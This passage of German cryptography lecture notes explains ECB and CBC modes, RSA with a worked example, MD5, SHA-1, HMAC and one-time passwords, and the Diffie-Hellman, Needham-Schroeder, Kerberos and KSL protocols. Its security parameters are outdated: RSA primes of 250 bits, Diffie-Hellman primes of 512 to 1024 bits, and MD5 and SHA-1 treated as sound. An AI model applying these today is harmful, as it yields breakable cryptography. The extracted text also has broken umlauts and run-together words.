oder IDEA). Der letzte Block wird gegebenenfalls durch ein Bitmuster aufgefüllt. Der
Klartextm besitzt also die Formm = m1m2 . . .mn. Der Chiffretextc ergibt sich durch die
unabḧangige Verschl̈usselung der einzelnen Blöcke und hat somit die Formc = c1c2 . . . cn.
Für die Verschl̈usselung und die Entschlüsselung gilt also:

ci = Ek(mi) für 1 ≤ i ≤ n

mi = Dk(ci) für 1 ≤ i ≤ n

Offensichtlich giltDk(Ek(mi)) = mi.

E k E k E k

Dk Dk Dk

c1 c c2 n

c1 2c cn

m1 m2 mn

m1 m2 mn

Abbildung 7.5: Prinzip der Electronic Code Book (ECB) Betriebsart

Eigenschaften des ECB Modus:

• Einfaches leicht parallelisierbares Verfahren.

• Für identische Bl̈ocke entstehen identische Chiffretexte.

• Die Reihenfolge der Blöcke kann vertauscht werden, ohne daß der Empfänger dies
feststellen kann.

• Ganze Bl̈ocke k̈onnen entfernt werden, ohne daß dies vom Empfänger bemerkt wer-
den kann.

7.3.2 Cipher Block Chaining (CBC)

Beim CBC Modus wird der Klartextm wie beim ECB Modus in Bl̈ocke fester L̈ange ein-
geteilt.m hat also wiederum die Formm = m1m2 . . .mn. Beim CBC Modus wird aller-
dings jeder Klartextblock vor der Verschlüsselung mit dem zuvor berechneten Chiffretext
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Exklusiv-Oder verkn̈upft. Beim ersten Klartextblock verwendet man einen entsprechen-
den zuf̈allig geẅahlten Initialisierungsvektor (IV), der allerdings mit dem Schlüsseltext
übertragen werden muß. Für die Verschl̈usselung und die Entschlüsselung gilt also:

ci =

{
Ek(mi ⊕ IV ) für i = 1

Ek(mi ⊕ ci−1) für 1 < i ≤ n

mi =

{
Dk(ci)⊕ IV für i = 1

Dk(ci)⊕ ci−1 für 1 < i ≤ n

Offensichtlich giltDk(Ek(mi ⊕ ci−1))⊕ ci−1 = (mi ⊕ ci−1)⊕ ci−1 = mi.

E k E k E k

Dk Dk Dk

m1 m2IV mn

c1 c c2 n

c1IV

m1 m2

2c cn

mn

Abbildung 7.6: Prinzip der Cipher Block Chaining (CBC) Betriebsart

Eigenschaften des CBC Modus:

• Änderungen der Reihenfolge und das Löschen ganzer Blöcke werden erkannt.

• Übertragungsfehler beeinträchtigen nur jeweils den aktuellen und den darauf folgen-
den Block.

• Statistische Eigenschaften des Klartextes werdenüber alle Bl̈ocke verstreut, wodurch
eine Kryptoanalyse schwieriger wird.

7.4 Asymmetrische Chiffren

Asymmetrische Verfahren benutzen zum Ver- und Entschlüsseln einer Nachricht verschie-
dene Schl̈ussel. Dies bietet interessante Vorteile, da ein Schlüssel in der Regel̈offentlich ist
(public key) ẅahrend die zweite Ḧalfte geheim bleibt (private key). Durch die Verfügbarkeit
vonöffentlichen Schl̈usseln wird die Schlüsselverteilung in der Regel wesentlich einfacher.
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7.4.1 RSA-Verfahren

Das RSA-Verfahren [49] ist das wohl bekannteste asymmetrische Verschlüsselungsverfahren.
Der Name ergibt sich aus den Namen der Erfinder R. Rivest, A. Shamir und L. Adleman.

Beschreibung des Verfahrens

• Schl̈usselerzeugung:

1. Erzeuge zwei große Primzahlenp undq von ungef̈ahr der gleichen L̈ange.

2. Berechnen = pq undϕ(n) = (p− 1)(q − 1).

3. Wähle eine Zahle mit 1 < e < ϕ(n) und ggt(e, ϕ(n)) = 1.

4. Berechne die eindeutige Zahld mit 1 < d < ϕ(n) unded mod ϕ(n) = 1.

5. Der öffentliche Schl̈ussel ist(n, e), der private Schl̈ussel ist(n, d). Die Zahlen
p, q undϕ(n) werden vernichtet.

• Verschl̈usselung:

1. Der Klartextm wird als eine Folge von Zahlenmi mit mi ∈ {0, 1, . . . , n− 1}
dargestellt.

2. Mit Hilfe des öffentlichen Schl̈ussels(n, e) berechneci = me
i mod n für alle

mi.

• Entschl̈usselung:

1. Mit Hilfe des privaten Schl̈ussels(n, d) berechnemi = cdi mod n für alleci.

2. Wandele die Zahlenfolgemi zurück in den urspr̈unglichen Klartext.

Beispiel 15 Wir nehmen die zwei Primzahlenp = 47 und q = 71. Damit ergibt sich
n = p · q = 3337. Der Chiffrierschl̈ussele darf keinen gemeinsamen Faktor mit

ϕ(n) = (p− 1) · (q − 1) = 46 · 70 = 3220

haben. Wir ẅahlen zuf̈allig e = 49. Daraus ergibt sich:

d = e−1 mod ϕ(n) = 49−1 mod 3220 = 1019

Die Zahlene undn werden publiziert ẅahrendd geheim bleibt. Die Zahlenp undq werden
vernichtet.

Zur Verschl̈usselung wird der Klartextm = 6882326879666683 in kleinere Bl̈ocke zerlegt.
Wir wählenm1 = 688, m2 = 232, m3 = 687, m4 = 966, m5 = 668 undm6 = 3. Durch
Berechnung vonci = me

i mod n ergibt sichc1 = 1570, c2 = 2756, c3 = 2714, c4 = 2276,
c5 = 2423 undc6 = 158 und damit der Ciffretextc = 1570 2756 2714 2276 2423 158.

Zur Entschl̈usselung wird auf den Chiffretextc die inverse Berechnungmi = cdi mod n
angewendet und man erhält den Klartext zur̈uck.
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Eigenschaften des RSA-Verfahrens:

• Die Sicherheit des Verfahrens beruht auf dem Problem, eine große Zahln zu fakto-

risieren. Der derzeit schnellste Faktorisierungsalgorithmus benötigt e
√

ln(n)·ln(ln(n))

Schritte. Sollte irgendwann ein sehr viel schneller Faktorisierungsalgorithmus ge-
funden werden, dann ist das RSA-Verfahren hinfällig.

• Die Primzahlenp undq sollten nach derzeitigen Erkenntnissen mindestens 250 Bit
lang sein und nicht zu nah beeinander liegen. (Sonst kann ein Angreiferp undq in
der N̈ahe von

√
n suchen.)

• Zur Bestimmung von großen Primzahlen können probabilistische Primzahltests ein-
gesetzt werden.

• Man sollte grunds̈atzlich für verschiedene Schlüssel(n, e) auch verschiedene Werte
für n wählen.

• Ver- und Entschl̈usselung mit dem RSA-Verfahren ist wesentlich berechnugsintensi-
ver als vergleichbare symmetrische Verfahren.

Digitale Signaturen

Eine digitale Signatur ist eine digitale Unterschrift, mit der die Echtheit eines Dokuments
bewiesen werden kann. Das RSA-Verfahren kann zur Erzeugung digitaler Signaturen ein-
gesetzt werden, indem die beiden Schlüssel vertauscht werden.

• Verschl̈usselung mit digitaler Signatur:

1. Der Klartextm wird als eine Folge von Zahlenmi mit mi ∈ {0, 1, . . . , n− 1}
dargestellt.

2. Berechnesi = mdA
i mod nA für allemi mit Hilfe des eigenen privaten Schlüs-

sels(nA, dA) vonA .

3. Verschl̈usselung mit Hilfe des̈offentlichen Schl̈ussels(nB, eB) von B durch
Berechnung vonci = seBi mod nB für allesi.

• Enschl̈usselung und Pr̈ufen einer digitalen Signatur:

1. Entschl̈usselung mit Hilfe des privaten Schlüssels(nB, dB) vonB durch Be-
rechnung vonsi = cdBi mod nB für alleci.

2. Berechnemi = seAi mod nA für alle si mit Hilfe desöffentlichen Schl̈ussels
(nA, eA) vonA.

3. Wandele die Zahlenfolgemi zurück in den urspr̈unglichen Klartext.

Die digitale Signatur mit dem RSA-Verfahren ist sehr aufwendig, da der ganze Klartext
signiert werden muß. Abhilfe schafft hier die Signatur eines Fingerabdrucks der Nachricht
(siehe Abschnitt7.5.3). Die Ver- und Entschl̈usselung ist optional und nur erforderlich,
wenn der Text geheim gehalten werden muß.
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Mathematische Grundlagen

Das RSA-Verfahren beruht auf grundlegenden Aussagen der Zahlentheorie:

• Es seiena, b ∈ Z undn ∈ N. a heißt kongruentb modulon (in Zeichena ≡n b),
wenn es eink ∈ Z gibt mit a− b = k · n.

• Mit a mod n bezeichnen wir den Rest vona modulon im Intervall [0, n − 1]. Es
gilt:

a ≡n b⇔ a mod n = b mod n

• Auf Zn können f̈ur allea, b ∈ Zn die Operationen+ und·wie folgt definiert werden:

a+ b = (a+ b) mod n

a · b = (a · b) mod n

• Die modulare Arithmetik ist kommutativ, assoziativ und distributiv.

• Die modulare Arithmetik kann auf die Exponentiation erweitert werden:

et mod n =

(
t∏
i=1

(e mod n)

)
mod n

• Es seia ∈ Z, n ∈ N, n > 1 und es gelte ggt(a, n) = 1. Dann existiert genau ein
multiplikatives Inversesx ∈ N, 0 < x < n, mit (a · x) mod n = 1.

• Die Eulersche Funktionϕ(n) bezeichnet die Anzahl der Zahlenx mit 1 ≤ x < n für
die ggt(x, n) = 1 ist.

• Es seip eine Primzahl. Dann gilt:

1. ϕ(p) = p− 1.

2. Ist k ∈ N, dann folgtϕ(pk) = pk−1(p− 1).

3. Ist q eine Primzahl mitp 6= q, dann folgtϕ(pq) = ϕ(p)ϕ(q) = (p− 1)(q − 1).

• Es sein ∈ N unda ∈ Zmit ggt(a, n) = 1. Dann giltaϕ(n) mod n = 1.

Das RSA-Verfahren beruht auf folgender Aussage, die sich mit Hilfe der Zahlentheorie
beweisen l̈aßt:

• Es einn = pq ∈ N mit Primzahlenp undq undp 6= q. Es gelte weitere, d ∈ N mit
ed mod ϕ(n) = 1 und es seim ∈ [0, n− 1]. Dann gilt:

(me mod n)d mod n = m

Der Beweis beruht auf folgenderÜberlegung:

(me mod n)d mod n = med mod n
= mkϕ(n)+1 mod n
= mkϕ(n) ·m mod n

= mϕ(n)k ·m mod n
= 1k ·m = m
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7.5 Einweg-Hashfunktionen

Einweg-Hashfunktionen haben die Aufgabe, für einen beliebig langen Klartext einen cha-
rakteristischen Hashwert oder auch

”
Fingerabdruck“ (message digest) fester Länge zu be-

rechnen. Diese Fingerabdrücke k̈onnen zur Realisierung unterschiedlicher Sicherheits-
dienste eingesetzt werden:

• Integriẗat:
Sicherstellung der Datenintegrität durchÜberpr̈ufung des Fingerabdrucks nach ei-
ner Daten̈ubertragung. Dazu muß der original Fingerabdruck natürlich gesichert
übertragen werden.

• Authentifikation:
Mit Hashwerten kann eine sehr effiziente Authentifikation realisiert werden, insbe-
sondere wenn die Geheimhaltung der Daten nicht zwingend notwendig ist.

• Signaturen:
Anstatt große Klartexte komplett zu signieren, kann man sich auf die Signatur des
Fingerabdrucks des Klartextes beschränken.

Nicht jede beliebige Hashfunktion ist zur Realisierung derartiger Sicherheitsdienste geeig-
net. Insbesondere darf es einem Angreifer nicht ohne weiteres gelingen, zu einem gegebe-
nen Fingerabdruck eine Nachricht zu konstruieren, die denselben Fingerabdruck besitzt.

Notwendige Eigenschaften einer Einweg-Hashfunktionen (one-way-function):

• Die HashfunktionH bildet Eingabenx mit einer variablen Bitl̈ange auf Ausgaben
H(x) einer festen Bitl̈ange ab.

• Die HashfunktionH ist für beliebige Eingabenx leicht zu berechnen.

• Zu einem gegebenen Klartextm ist es berechnungsm̈aßig fast unm̈oglich, eine Nach-
richtm′ mit m 6= m′ undH(m) = H(m′) zu finden.

• Es ist berechnungsm̈aßig fast unm̈oglich, zwei beliebige Klartextem undm′ mit
m 6= m′ undH(m) = H(m′) zu finden.

• Für einen gegebenen Fingerabdruckz ist es berechnungsm̈aßig praktisch unm̈oglich,
einen Klartextm mit H(m) = z zu finden.

7.5.1 Message Digest 5 (MD5)

Die Hashfunktion MD5 [48] wurde 1991 von Ronald L. Rivest veröffentlicht und ist eine
verbesserte Version der MD4 Hashfunktion aus dem Jahr 1990. In der Veröffentlichung
findet sich auch eine Referenzimplementation in der Sprache C.

MD5 besitzt folgende Eigenschaften:
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Abbildung 7.7: Prinzip der MD5 Einweg-Hashfunktion

• Der berechnete MD5-Hashwert ist 128 Bit lang.

• MD5 verarbeitet einen variabel langen Klartext in Blöcken von 512 Bits, wobei je-
weils ein 128 Bit Hashwert erzeugt wird, der als Eingabe für den n̈achsten Block
dient.

• Beim ersten Block werden die vier 32 Bit KonstantenA, B, C undD als Hashwert
verwendet.

• Für jeden 512 Bit Block werden 64 Schritte zur Komprimierung der Daten durchlau-
fen.

• MD5 wurde f̈ur 32-Bit Prozessoren konzipiert und bevorzugt Prozessoren mitlittle-
endian-Architektur (z.B. Intel 80x86).

• MD5 kann effizient in Software realisiert werden und erbringt eine Leistung von
mehreren Millionen Bit pro Sekunde auf derzeitüblicher PC Hardware.

• Der Aufwand zum Finden zweier Klartextem undm′ mit m 6= m′ undH(m) =
H(m′) liegt vermutlich in der Gr̈oßenordnung von264 Operationen.

• Der Aufwand zum Finden eines Klartextesm zu einem gegebenen Fingerabdruckz
mit H(m) = z liegt vermutlich in der Gr̈oßenordnung von2128 Operationen.

7.5.2 Secure Hash Algorithm 1 (SHA-1)

Die Hashfunktion SHA-1 [46] wurde von der amerikanischen Standardisierungsbehörde
NIST entwickelt und basiert ebenfalls auf der Hashfunktion MD4.

SHA-1 besitzt folgende Eigenschaften:

• Der berechnete SHA-1-Hashwert ist 160 Bit lang.
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Abbildung 7.8: Prinzip der SHA-1 Einweg-Hashfunktion

• SHA-1 verarbeitet einen Klartext mit einer maximalen Länge von264 Bits in Blöcken
von je 512 Bits, wobei jeweils ein 160 Bit Hashwert erzeugt wird, der als Eingabe
für den n̈achsten Block dient.

• Beim ersten Block werden die fünf 32 Bit KonstantenA, B, C, D undE als Has-
hwert verwendet.

• Für jeden 512 Bit Block werden 80 Schritte zur Komprimierung der Daten durchlau-
fen.

• SHA-1 wurde f̈ur 32-Bit Prozessoren konzipiert und bevorzugt Prozessoren mitbig-
endian-Architektur (z.B. SPARC).

• SHA-1 ist aufwendiger und daher etwas langsamer als MD5. SHA-1 erzeugt aber
einen l̈angeren und damit sichereren Hashwert, sofern beide Algorithmen keine prin-
zipiellen Fehler haben.

7.5.3 Signaturen mit Hashfunktionen

Anstatt potentiell lange Klartexte zu signieren, kann man sich auf eine Signatur des Fin-
gerabdrucks beschränken, wenn eine geeignete Einweg-Hashfunktion zur Verfügung steht.

• Signatur einer Nachrichtm mit Einweg-Hashfunktion und RSA:

1. Der SenderA berechnet die Signaturs = DA(H(m)), wobeiDA der geheime
RSA-Schl̈ussel vonA ist, undübertr̈agtm unds.

2. Der Empf̈anger berechnetH(m) undEA(s), wobeiEA der öffentliche RSA-
Schl̈ussel vonA ist. Die Signatur ist korrekt, wennH(m) = EA(s) gilt.

Es ist sogar m̈oglich, zwei Nachrichtenm1 undm2 mit Hilfe eines Notars so zu signie-
ren, daß die Urheber der Nachrichten die Signaturüberpr̈ufen k̈onnen, ohne selbst beide
Nachrichten zu kennen.
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• Duale Signatur zweier Nachrichtenm1 undm2 mit Einweg-Hashfunktion und RSA:

1. Der NotarN berechnetH(m1) undH(m2), konkateniert die sich ergebenden
Bitmuster, wendet darauf nochmal die HashfunktionH an und signiert das Er-
gebnis mit dem geheimen RSA-SchlüsselDN :

s = DN(H(H(m1)‖H(m2)))

2. Der Urheber vonm1 bekommt die berechnete Signaturs und den Hashwert
H(m2). Durch einen Vergleich vonEN(s) mit H(H(m1)‖H(m2)) kann der
Urheber vonm1 die Signatur̈uberpr̈ufen, ohnem2 selbst zu kennen.

3. Analog kann der Urheber vonm2 nach Mitteilung vons und des Hashwertes
H(m1) die Signatur ohne Kenntnis vonm1 überpr̈ufen.

7.5.4 Authentifikation mit Hashfunktionen

Wenn ein gemeinsamer Schlüsselk existiert, dann kann man eine HashfunktionH auch zur
Authentifikation von Nachrichten benutzen, indem man die Hashfunktion auf den Klartext
m und den Schl̈usselk anwendet.

• Geheime Pr̈afix-Methode:
Der Schl̈usselk wird vor die Nachrichtm gestellt und es wird der HashwertH(k‖m)
berechnet.Übertragen wird die Nachrichtm und der HashwertH(k‖m). Der Em-
pfänger berechnet mit seinem Schlüssel ebenfallsH(k‖m) und vergleicht die Hash-
werte.

• Geheime Suffix-Methode:
Der Schl̈usselk wird an das Ende der Nachricht angefügt und es wird der Hashwert
H(m‖k) berechnet.Übertragen wird die Nachrichtm und der HashwertH(m‖k).
Der Empf̈anger berechnet mit seinem Schlüssel ebenfallsH(m‖k) und vergleicht
die Hashwerte.

• HMAC (Keyed-Hashing for Message Authentication):
Zunächst wird der Schlüsselk durch das Anf̈ugen von 0 Bytes auf die Blocklänge
B des verwendeten HashalgorithmusH erweitert (512 Bit im Falle von MD5 oder
SHA-1). Dieser erweiterte Schlüssel sei mitk′ bezeichnet. Desweiteren werden zwei
Konstantenipad und opad ben̈otigt: ipad ist ein String der L̈angeB, der aus dem
Zeichen0x36 besteht, undopad ist ein String der L̈angeB, der aus dem Zeichen
0x5c besteht. Berechnet wird nun:

H((k ⊕ opad)‖H((k ⊕ ipad)‖m))

Sowohl die geheime Präfix-Methode als auch die geheime Suffix-Methode können ange-
griffen werden. Das HMAC-Verfahren gilt derzeit als sicher und findet in mehreren siche-
ren Internet-Protokollen Anwendung.
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7.5.5 One Time Paßworte (OTP)

In vernetzten Umgebungen ist es oftmals relativ einfach, Paßworte durch ein gezieltes
Abhören des Kommunikationsmediums zu erlangen, da vielfach immer noch ungesicherte
Protokolle benutzt werden, die Paßworte im Klartextübertragen. Abhilfe schafft hier ein
Verfahren, bei dem ein Paßwort immer nur genau einmal gültig ist.

Das OTP-Verfahren verwendet eine Einweg-HashfunktionH (z.B. MD5 oder SHA-1), mit
der zu einem gegebenen Klartext ein Fingerabdruck berechnet werden kann. Das Verfahren
beruht auf der Eigenschaft von Einweg-Hashfunktionen, daß es einfach ist,Hn ausHn−1

zu berechnen, ẅahrend es berechnungsmäßig praktisch unm̈oglich ist,Hn−1 ausHn zu
berechnen.

Sei weiterhinHn mit n ∈ N wie folgt definiert:

Hn(m) =

{
H(m) für n = 1

H(Hn−1(m)) für n > 1

• Initialisierung:
Seis eine beliebige Zeichenfolge der Länge 1 bis 16 undp eine beliebige Zeichen-
folge der L̈ange 10 bis 63.p ist das zugrundeliegende geheime Paßwort unds ist
das Salz. Aus dem urspünglichen Paßwort sollenn Paßworte abgeleitet werden,
die jeweils nur einmal benutzt werden können. Der Authenfizierungsserver, der den
Zugangüberpr̈uft, berechnet

k = Hn+1(s‖p)
und merkt sichk undn.

• Challenge:
Bei einem Authentifizierungswunsch sendet der Server den Namen der benutzten
HashfunktionH, das Salzs und den aktuellen Wert vonn an den Benutzer.

• Response:
Der Benutzer berechnetHn(s‖p) und sendet den Wert zurück an den Authenfizie-
rungsserver. Dabei kann die Ausgabe der Hashfunktion in eine ASCII-Darstellung
transformiert werden, die sich aus sprechbaren Silben zusammensetzt.

• Verifikation:
Der Authenfizierungsserver berechnet nunH(Hn(s‖p)) undüberpr̈uft ob das Ergeb-
nis mit k übereinstimmt. BeïUbereinstimmung ist die Authentifikation erfolgreich
und es wirdk = Hn(s‖p) gesetzt undn dekrementiert. Erreichtn den Wert0, so
muß eine neue Initialisierung durchlaufen werden.

Literaturhinweise

Als Grundlage f̈ur die formale Schreibweise dient [60]. Dort findet man auch weitergehen-
de Beweise and Analysen für die einzelnen Verfahren. Beschreibungen der verschiedenen
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Algorithmen findet man in [52, 56, 27]. Eine sehr gute Einf̈uhrung in die Kryptologie, die
mit vielen Beispielen aus der Geschichte angereichert ist, findet man in [3].

Das Hashverfahren MD5 ist im RFC 1321 [48] beschrieben. Der Anhang des RFCs enthält
eine (nicht optimierte) Implementierung in der Programmiersprache C. Angriffe auf die
geheime Pr̈afix-Methode und die geheime Suffix-Methode sind in [59] beschrieben. Das
HMAC-Verfahren ist in RFC 2104 [35] definiert und das OTP-Verfahren ist in RFC 2289
[25] definiert.
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Kapitel 8

Schlüsselverteilung

Die kryptographischen Verfahren setzen meist voraus, daß die Kommunikationspartner
über einen gemeinsamen Schlüssel verf̈ugen. Aus Sicherheitsgründen strebt man an, für
einzelne Verbindungen oder Sitzungen sogenannte Sitzungsschlüssel (session keys) zu ver-
wenden, die nur f̈ur die Dauer einer Verbindung oder Sitzung gültig sind. Desweiteren kann
auch die Benutzungsdauer von Sitzungsschlüsseln zeitlich begrenzt sein.

Um zu grundlegenden Aussagenüber verschiedene Authentifizierungssysteme zu gelan-
gen, sollen die folgenden strengen Annahmen getroffen werden:

(1) Ein Betr̈uger kann in alle Kommunikationspfade eindringen. Diese Annahme ist im
Zusammenhang mit offenen Netzen ohne weiteres einsichtig.

(2) Ein Betr̈uger kann jede Nachricht abhören. Dabei kann er Teile der Nachricht kopie-
ren, ver̈andern oder l̈oschen, oder er kann falsche Teile in die Nachricht einfügen.

(3) Ein Betr̈uger kann eine abgehörte und kopierte Nachricht zu einem späteren Zeit-
punkt beliebig wiederholen.

(4) Bei einer Abfolge mehrerer Nachrichten kann ein Betrüger die Reihenfolge vertau-
schen oder einzelne Nachrichten löschen.

(5) Ein Betr̈uger kann die Quell- oder die Zieladresse einer Nachricht modifizieren.

(6) Rechnernamen und Netzadressen allein sind nicht vertrauenswürdig. Ein Betr̈uger
kann seinen Rechner so modifizieren, daß er sich für einen anderen Rechner mit
einer anderer Adresse ausgibt.

8.1 Notation

Zunächst soll eine Notation eingeführt werden, mit der sich die im folgenden vorgestellten
Protokolle kompakt darstellen lassen.
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• Die an einem Protokoll beteiligten Parteien werden durch die großen BuchstabenA,
B undS dargestellt.

• Ein geheimer Schlüssel, den sich die ParteienA undB teilen, wird alsKab notiert.

• Das ZeichenH steht f̈ur eine kryptographisch starke Einweg-Hashfunktion.

• Ein öffentlicher Schl̈ussel einer ParteiA wird durch das SymbolKa dargestellt.

• Ein privater Schl̈ussel einer ParteiA wird durch das SymbolK−1
a dargestellt.

• Eine unbenutzte Aussage (Nonce), die von einer ParteiA generiert wurde, wird
durchNa dargestellt.

• Mehrere Elementen einer Nachricht werden durch Kommata voneinander getrennt.

• Die ZeichenP ,Q undR sind Variablen̈uber Parteien.

• Die ZeichenX undY sind Variablen̈uber Aussagen.

• Das ZeichenK ist eine Variablëuber Schl̈ussel.

• Eine mit dem Schl̈usselK verschl̈usselte Nachrichtm wird durch{m}K dargestellt.

8.2 Diffie-Hellman

Das Schl̈usselverteilungsverfahren von Diffie und Hellman [14] ist dasälteste asymme-
trische Verfahren. Es beruht auf dem Problem, einen diskreten Logarithmus effizient zu
berechnen.

Diffie-Hellman Verfahren:

1. Zunächst wird eine Primzahlp und eine primitive Wurzelg von p mit g < p festge-
legt. p undg könnenöffentlich bekannt gemacht werden. (Eine Zahlg ist eine primi-
tive Wurzel vonp wenn die Folgeg1 mod p, g2 mod p, . . . , gp−1 mod p die Zahlen
1, . . . , p− 1 in einer beliebigen Permutation erzeugt.)

2. Die ParteiA wählt zuf̈allig eine ZahlxA ∈ Zp und berechnetyA = gxA mod p. Die
ZahlxA wird geheim gehalten und die ZahlyA wird and die ParteiB gesendet.

3. Die ParteiB wählt zuf̈allig eine ZahlxB ∈ Zp und berechnetyB = gxB mod p. Die
ZahlxB wird geheim gehalten und die ZahlyB wird and die ParteiA gesendet.

4. Die ParteiA berechnet:

Kab = yxAB mod p = (gxB mod p)xA mod p = gxAxB mod p

5. Die ParteiB berechnet analog:

Kab = yxBA mod p = (gxA mod p)xB mod p = gxAxB mod p
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6. Die ParteienA undB besitzen jetzt den gemeinsamen SchlüsselKAB.

Eigenschaften des Diffie-Hellman Verfahrens:

• Bei der Wahl der Primzahl sollte darauf geachtet werden, daß(p − 1)/2 ebenfalls
prim ist.

• Die Primzahlp sollte eine L̈ange von mindestens 512 Bit haben, empfohlen werden
eher 1024 Bits.

Beispiel 16 Das Diffie-Hellman Verfahren fand ursprünglich beim Sun RPC-Protokoll Ver-
sion 2 Verwendung. Die Parameter wareng = 3 und

p = 5213619424271520371687014113170182341777563603680354416779.

Die Länge vonp ist 192 Bits, was deutlich zu kurz ist. Außerdem existieren andere Si-
cherheitsprobleme im RPC Protokoll. Entsprechend wurde dieses Verfahren aus neueren
Spezifikationen des RPC entfernt.

8.3 Needham-Schroeder

Das Authentifizierungsprotokoll nach Needham-Schroeder [44] geht von zwei ParteienA
undB aus, die jeweils einen geheimen SchlüsselKas undKbs mit einem Authentifizie-
rungsserverS teilen.

Protokollablauf:

A B

S

1

2

3

5

4

Abbildung 8.1: Needham-Schroeder Protokollablauf

Nachricht 1: A→ S : A,B,Na

Nachricht 2: S → A : {Na, B,Kab, {Kab, A}Kbs}Kas
Nachricht 3: A→ B : {Kab, A}Kbs
Nachricht 4: B → A : {Nb}Kab
Nachricht 5: A→ B : {Nb − 1}Kab
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• Die ParteiA erzeugt den NonceNa und sendet die Klartextnachricht 1 an den Server
S, wodurch der Authentifizierungsvorgang angestoßen wird.

• S generiert daraufhin den SitzungsschlüsselKab und erstellt damit das Zertifikat
{Kab, A}Kbs , mit dem der ParteiB der Sitzungsschlüssel und die Identität vonA
mitgeteilt wird. Danach sendetS die mitKas verschl̈usselte Nachricht 2 anA.

• A entschl̈usselt die zweite Nachricht und̈uberpr̈uft den NonceNa undB. Ist der
Test positiv, so entnimmtA der Nachricht den SchlüsselKab und sendet den für B
bestimmten Teil weiter.

• NachdemB die Nachricht entschlüsselt hat, sind beide Parteien im Besitz des Sit-
zungsschl̈usselsKab.

• Mit den Nachrichten 4 und 5 soll die gegenwärtige Existenz der jeweils anderen
Partei sichergestellt werden.

Eigenschaften des Needham-Schroeder Protokolls:

• Das Protokolls von Needham-Schroeder setzt voraus, daß die ParteiB im dritten
Protokollschritt der Unbenutztheit vonKab vertraut. Damit kann ein Angreifer ohne
Zeitbeschr̈ankung versuchen den SchlüsselKab zu brechen. Ist der Schlüssel ge-
brochen, dann kann ein Angreifer das Zertifikat anB senden und anschließend den
Sitzungsschl̈usselKab benutzen.

• Eine Möglichkeit das Problem zu beschränken ist die Einf̈uhrung von Zeitstempeln,
die die Lebensdauer eines Tickets begrenzen. Allerdings sind Zeitstempel nur sinn-
voll, wenn verl̈aßlich synchronisierte Uhren vorhanden sind.

• Das Protokoll entḧalt Redundanzen. So ist die doppelte Verschlüsselung in der zwei-
ten Nachricht nicht notwendig.

8.4 Kerberos

Das hier vorgestellte Protokoll ist eine Verbesserung des Needham-Schroeder Protokolls
und beruht auf Zeitstempeln. Das Protokoll geht ebenfalls von zwei ParteienA undB aus,
die jeweils einen geheimen SchlüsselKas undKbs mit einem AuthentifizierungsserverS
teilen.

Das Protokoll ist die Grundlage des Authentifizierungsdienstes Kerberos, der am MIT ent-
wickelt wurde und in vielen Systemen heutzutage eingesetzt wird. Das hier beschriebene
vereinfachte Protokoll wurde in der Kerberos Version 4 benutzt. Die aktuelle Version von
Kerberos benutzt eine verbesserte Variante des Protokolls.
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Protokollablauf:

A B

S

1

2

4

3

Abbildung 8.2: Kerberos Protokollablauf

Nachricht 1: A→ S : A,B
Nachricht 2: S → A : {Ts, L,Kab, B, {Ts, L,Kab, A}Kbs}Kas
Nachricht 3: A→ B : {Ts, L,Kab, A}Kbs , {A, Ta}Kab
Nachricht 4: B → A : {Ta + 1}Kab

• Die ParteiA sendet die erste Nachricht an den ServerS um den Authentifizierungs-
vorgang einzuleiten.

• Der ServerS erzeugt daraufhin den SitzungsschlüsselKab und verschl̈usselt mit
Kbs unter Verwendung eines ZeitstempelsTs und einer LebensdauerL das Ticket
{Ts, L,Kab, A}Kbs , mit demA eine Authentifizierung mitB innerhalb der G̈ultigkeitsdauer
durchf̈uhren kann.

• Anschließend verschlüsseltS die zweite Nachricht mitKas und sendet sie anA.

• Die Partei merkt sich die zweite Nachricht, um damit eine Authentifizierung mitB
innerhalb der G̈ultigkeitsdauer beliebig oft durchführen zu k̈onnen.

• Nun generiertA unter Verwendung des ZeitstempelsTa die dritte Nachricht und
sendet sie anB.

• Die ParteiB entschl̈usselt zun̈achst das Ticket mitKbs undüberpr̈uft mit dem Zeit-
stempelTs und der LebensdauerL, ob das Ticket noch g̈ultig ist.

• Ist das Ticket g̈ultig, so entnimmtB dem Ticket den SitzungsschlüsselKab. Damit
entschl̈usseltB den zweiten Teil der dritten Nachricht.

• Anschließend erzeugtB die vierte Nachricht und sendet sie anA.

• Die ParteiA entschl̈usselt die vierte Nachricht und̈uberpr̈uft Ta+1, um festzustellen,
obB im Besitz des SitzungsschlüsselsKab ist.
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Eigenschaften des Kerberos Protokolls:

• Die redundante Verschlüsselung in der zweiten Nachricht ist weiterhin vorhanden.

• Durch die Verwendung von Zeitstempeln wird das Problem des Needham-Schroeder
Protokolls behoben und zusätzlich eine Nachricht eingespart.

• Die Zeitstempel setzen voraus, daß synchronisierte Uhren vorhanden sind. Zur Syn-
chronisation der Uhren darf selbst widerum nur ein sicheres Protokoll verwendet
werden, da sonst ein Angreifer die Uhren manipulieren könnte und sich so mehr Zeit
zum Brechen von Schlüsseln verschaffen kann.

8.5 Kehne-Scḧonwälder-Langendörfer

Mit dem im folgenden beschriebenen Protokoll [30] soll gezeigt werden, daß man prin-
zipiell auf die Verwendung von Zeitstempeln und die damit verbundenen Uhrenprobleme
verzichten kann. Das Protokoll geht wiederum von zwei ParteienA undB aus, die jeweils
einen geheimen SchlüsselKas undKbs mit einem AuthentifizierungsserverS teilen. Das
Protokoll soll einen SitzungsschlüsselKab etablieren und dabei redundanzfrei sein und die
zu verschl̈usselnde Datenmenge so klein wie möglich halten.

Außerdem soll es m̈oglich sein, einen einmal ausgegebene SchlüsselKab mehrmals zu be-
nutzen, wobei die Dauer der Benutzungen durch den ServerB kontrolliert werden k̈onnen
soll.

Protokollablauf f̈ur die initiale Schl̈usselverteilung:

A B

S

1

2

3

4

5

Abbildung 8.3: Initialer KSL Protokollablauf

Nachricht 1: A→ B : Na, A
Nachricht 2: B → S : Na, A,Nb, B
Nachricht 3: S → B : {Nb, A,Kab}Kbs , {Na, B,Kab}Kas
Nachricht 4: B → A : {Na, B,Kab}Kas , Nc, {Na}Kab , {Tb, A,Kab}Kbb
Nachricht 5: A→ B : {Nc}Kab
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• Die ParteiA startet das Protokoll, indem sie die eigene IdentitätA und einen Nonce
Na an die ParteiB sendet.

• Die ParteiB speichertNa, erzeugt einen eigenen NonceNb und sendet die zweite
Nachricht an den ServerS.

• Der ServerS erzeugt einen SitzungsschlüsselKab und generiert damit die beiden
Teile der dritten Nachricht, die jeweils durch die geheimen SchlüsselKas undKbs

gescḧutzt sind.

• Die ParteiB entnimmt dem ersten Teil der Nachricht den Nonce undüberpr̈uft, ob
